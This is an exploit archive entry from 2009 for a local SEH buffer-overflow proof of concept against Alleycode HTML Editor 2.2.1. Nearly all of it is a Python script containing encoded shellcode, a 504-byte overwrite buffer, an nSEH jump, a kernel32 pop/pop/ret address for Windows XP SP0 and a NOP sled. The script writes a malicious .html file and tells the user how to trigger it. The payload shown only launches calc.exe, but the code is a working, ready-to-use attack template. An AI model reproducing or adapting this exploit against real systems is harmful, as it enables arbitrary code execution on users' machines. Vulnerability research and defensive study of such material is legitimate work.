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Alleycode HTML Editor 2.21 Overflow

Alleycode HTML Editor 2.21 Overflow
Posted Oct 21, 2009
Authored by Dr_IDE

Alleycode HTML Editor version 2.2.1 local overflow exploit that creates a malicious .html file.

tags | exploit, overflow, local
SHA-256 | b016c0877a491881614856bf1c2419efbc6b2aafba3fe1b8e520eab4ec351acb

Alleycode HTML Editor 2.21 Overflow

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#!/usr/bin/env python

####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Found By: Rafael de Sousa
# Tested On: XPSP0 (SP3 doesn't have any usable P/P/R)
# Download: www.alleycode.com
#
####################################################################

# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

head = ("<html>\n<title>"); # Don't touch the html stuff.
buff = ("@" * 504); # Overwrite SEH Pointer
nseh = ("\xEB\x64\x90\x90"); # Need to pass some garbage in stack
retn = ("\x0E\x03\xEB\x77"); # P/P/R Kernel32.dll XPSP0
nops = ("\x90" * 116); # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("\x40" * (688 - len(sc))); # Looks like 688 bytes for Shellcode
foot = ("</title>\n<body>Calculator goes BOOM!</body>\n</html>\n");

sploit = (head + buff + nseh + retn + nops + sc + junk + foot);

try:
print ("\n\n#######################################################");
print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
print ("# By: Dr_IDE");
print ("# pocoftheday.blogspot.com");
print ("#######################################################\n");
print ("[*] Writing evil HTML file.");
f1 = open("Dr_IDEs_Evil_Homepage.html","w");
f1.write(sploit);
f1.close();
print ('[*] Success. Load File and Click "Tools -> Optimizer".');

except:
print ("[-] Error, could not write the file.");

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